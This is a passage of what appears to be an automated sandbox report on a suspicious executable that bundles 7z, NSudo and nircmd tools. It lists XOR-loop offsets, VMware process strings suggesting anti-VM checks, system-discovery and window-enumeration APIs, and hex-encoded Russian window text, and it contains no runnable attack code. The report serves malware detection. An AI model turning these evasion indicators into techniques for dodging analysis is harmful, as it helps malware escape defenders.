XOR loop in file "7z.exe" at offset 840295; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 841955; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 844077; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 123470; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 365836; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 475702; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 475708; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 492893; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 538835; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 538854; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 556981; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 560700; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 572741; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 572933; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 573519; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 616844; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667009; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667378; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667411; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667444; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667477; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667752; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667821; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667890; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 667959; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684072; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684105; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684138; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 684171; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 691156; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 824755; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 74704; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 827212; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 827876; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 835224; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 836152; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 844038; code bytes = 8030 Found XOR loop in file "NSudoLG.exe" at offset 13536; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118068; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118100; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 118116; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 129836; code bytes = 30d0 Found XOR loop in file "NSudoLG.exe" at offset 54300; code bytes = 33c1 Found XOR loop in file "NSudoLG.exe" at offset 143587; code bytes = 8030 Found XOR loop in file "cecho.exe" at offset 4788; code bytes = 8030 Found XOR loop in file "cecho.exe" at offset 6721; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 116795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 260833; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 320669; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 321247; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 408646; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 436462; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 536626; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 651417; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 826400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 864546; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 891442; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 954914; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1017900; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1045929; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1056071; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1181741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1235281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1317416; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1427555; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1436080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1446885; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1522894; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1664299; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1830152; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1832587; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1842311; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1923588; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1930621; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2051568; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2054988; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2111317; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2214373; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2261924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2311080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2694678; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818370; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2856095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2930639; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2952893; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2971197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3000906; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3092102; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3242593; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3260939; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3287040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3303562; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3318635; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3322030; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3505831; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3566374; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3610368; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3725805; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3743919; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 57212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74271; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 126615; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 130454; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 314265; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 317813; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 341663; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 414140; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 444075; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 566052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 643665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 657839; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 745213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 809859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 889776; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 934940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1020115; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1041421; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1206653; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1284717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1427436; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1436835; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1574401; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1577065; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1633595; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1644280; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1671673; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1678304; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1695819; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1805137; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1951482; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1982575; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2002945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2012705; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2026865; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2045110; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2125190; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2161319; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2192574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2192679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2356378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2426036; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2547367; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2568224; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2578408; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2813389; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2950309; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3115207; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3116594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3125378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3127008; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3344114; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3476594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3494940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3498052; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3542603; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3589508; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3592751; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3643517; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3658418; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3675139; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3700034; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3720133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1684; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 52910; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65387; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65568; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 96816; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 110405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 121139; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 254687; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 321212; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 327001; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 488892; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 660510; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 759352; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 966772; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 980952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1055793; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1099764; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1103847; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1301094; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1322590; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1360494; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1413374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1415357; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1447245; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1619592; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1688586; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1693085; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1741542; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1744562; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1752170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1761384; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1913754; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2049302; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2099230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2209973; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2213353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2288043; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2358187; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2456629; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2489565; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2608565; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2616850; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2638788; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2649609; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2665976; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2738666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2844124; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2882588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2898161; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3029338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3106686; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3186418; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3203980; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3214221; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3249126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3421126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3465365; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3521095; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3548360; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3576122; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3750534; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3757311; code bytes = 80302c:Tfdb,file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp, 00000000-00000032.00000000.188434.17760000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00000032.00000000.188434.17760000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00000204.00000000.192712.6A730000.00000004.mdmp, 00000000-00000204.00000000.192712.6A980000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00000204.00000000.192712.6A980000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001732.00000000.191679.D5DC0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001732.00000000.191679.D5DC0000.00000004.mdmp, 00000000-00001732.00000000.191679.D5E80000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00001732.00000000.191679.D5E80000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002720.00000000.191029.36820000.00000004.mdmp, 00000000-00002720.00000000.191029.36B00000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002720.00000000.191029.36820000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002720.00000000.191029.36B00000.00000004.mdmp") Found string "VGAuthService.exe" (Indicator: "VGAuthService.exe"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.CF930000.00000004.mdmp") Found string "vmtoolsd.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.CF930000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002944.00000000.188110.7C720000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00002944.00000000.188110.7C720000.00000004.mdmp, 00000000-00002944.00000000.188110.7C750000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003424.00000000.189082.E8720000.00000004.mdmp, 00000000-00003424.00000000.189082.E88D0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003424.00000000.189082.E88D0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003528.00000000.192003.7AED0000.00000004.mdmp, 00000000-00003528.00000000.192003.7B190000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003528.00000000.192003.7AED0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00003528.00000000.192003.7B190000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004344.00000000.193038.C3210000.00000004.mdmp, 00000000-00004344.00000000.193038.C34B0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004344.00000000.193038.C34B0000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004416.00000000.188758.59FB0000.00000004.mdmp, 00000000-00004416.00000000.188758.5A150000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004416.00000000.188758.5A150000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004564.00000000.191354.67DA0000.00000004.mdmp, 00000000-00004564.00000000.191354.68000000.00000004.mdmp") file/memory contains long string with (Indicator: "vmtoolsd.exe"; Source: "00000000-00004564.00000000.191354.68000000.00000004.mdmp")2d:T42e,Found system information discovery API: "ExpandEnvironmentStringsW" in file "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" Found system information discovery API: "GetSystemInfo" in file "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" Found system information discovery API: "GetEnvironmentStringsW" in file "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" Found system information discovery API: "GetNativeSystemInfo" in file "00000000-00007732.00000000.194016.00B11000.00000020.mdmp" Found system information discovery API: "ZwQuerySystemInformation" in file "00000000-00007276.00000000.194352.013E2000.00000080.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00001112.00000000.185480.40017000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoA" in "00000000-00001112.00000000.185480.40017000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00002908.00000001.186952.C2012000.00000002.mdmp"2e:T7b8,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "PostMessage" (Indicator: "postmessage"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "1125746507,1100,110,,EnumWindows,user32.dll,"00:48:13.812",RX=0,PX=0" (Indicator: "enumwindows"; Source: "00000000-00001112.00000000.185480.02670000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "enumwindows"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp")2f:Tbba,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "26001f0430043f043a04300420003d04300437043d043004470435043d0438044f04" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "26001e04310437043e0440042e002e002e00" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "25043e043404200043044104420430043d043e0432043a043804" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "23044104420430043d043e043204380442044c04" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1e0442043c0435043d043004" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "%LOCALAPPDATA%\Temp" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1f04400438043e044104420430043d043e043204380442044c04" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d043804350420005800730054004f004b004d0058004a0036002e00620061007400" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c0037007a002e00650078006500" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c0063006500630068006f002e00650078006500" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c006e006900720063006d0064002e00650078006500" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c004e005300750064006f004c0047002e00650078006500" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c00730061006d0065002e007a0069007000" - (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b0065006400" - (UID: 00000000-00008068) "nircmd.exe" called "GetWindowTextA" (UID: 00000000-00006460)30:T1d8e,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008e0000006443af002043af00f39b36779446af00cc1fd8008e000000b833d8006443af00000000004843af00977f36776443af00e99c3877c0304c74000800000000000000000000dc33d8009b77351c6c43af006c43af0072459f7400000000c0304c74ffffffffbbc230015c000000c0304c7400080000400c31015c67af00 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000f8ecaf009cecaf00226e6b760000c600000000002d6e6b763a136af02d000000ecb7127520edaf0000007e00189cd9002891d800140000008000000060ecaf0000007e00e4ecaf0070c86c765e8eb486feffffff2d000000d0cc217527000000b4ecaf00856a6d761c237276f4ecaf00f85f6d7608000000bb696c76b2696c7652136af02d000000ecb7127527000000d0cc2175c8ecaf002d000000d0cc217527000000f8ecaf00856a6d761c23727640edaf007e8a2075ee8c2075738a2075c6f1c5832d000000ecb7127527000000d0cc21755428c600e827c600c6f1c58308edaf00fc525e75f4edaf00e0842075beed36f6feffffff738a2075 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000377700000000010000006cf4af00fc86a9732a00b073fb8c37770000000000000000fc86a97340f5af000000000000000000000000002a00b07309000000d060da0009000000fc86a9730000000050056f711800000058c445bc70000000f8edaf00000000007cf8af00a018df726cc90acefeffffff00f5af005a9bdd72b0f4af000000000000000000739bdd722cf5af000000000000000000000000000000000000000000000000000100000000000000010000000000000028f5af000000000038f5af00000000002cf5af000000000000000000000000004b009e7660c445bc40f5af0084da9d74a7c1351c44f5af00dab99d740000667138f5af00 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000c005ad0038cf3777f43ad8002c06ad0001000000a83ad800f43ad800a83ad800040000000400000000e0a974001000002c06ad0001000000a83ad800cd9737779c973777e73c371cb50fa074a83ad8000000377700000000ccdcfc730000000080eea674010000001b800800f8e2a9740000000004000000000000004840a874f8e2a9743006ad0080e8b6768056da0080e8b6762c06ad000000000080e8b6765806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff0000000000000000000000001e6cee07346cee07 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ad00e006ad001b800800cc56dd0058010000000000000000000000000000c006ad001b8008004807ad0058060000e80dad00180000004c3647bc58010000000000009f57dd72580100005801000000000000000000000000ad00000000000000000018000000e80dad004807ad001b800800d43647bc5805ad009f57dd727006ad00a018df7264c60acefeffffff8006ad00222a9d73580100000000000000000000000000005806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff0000000000000000000000003e6bee07566bee07 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ad00e006ad001b800800cc56dd0058010000000000000000000000000000c006ad001b8008004807ad0058060000e80dad00180000004c3647bc58010000000000009f57dd72580100005801000000000000000000000000ad00000000000000000018000000e80dad004807ad001b800800d43647bc5805ad009f57dd727006ad00a018df7264c60acefeffffff8006ad00222a9d73580100000000000000000000000000005806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff0000000000000000000000007e9aee07929aee07 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 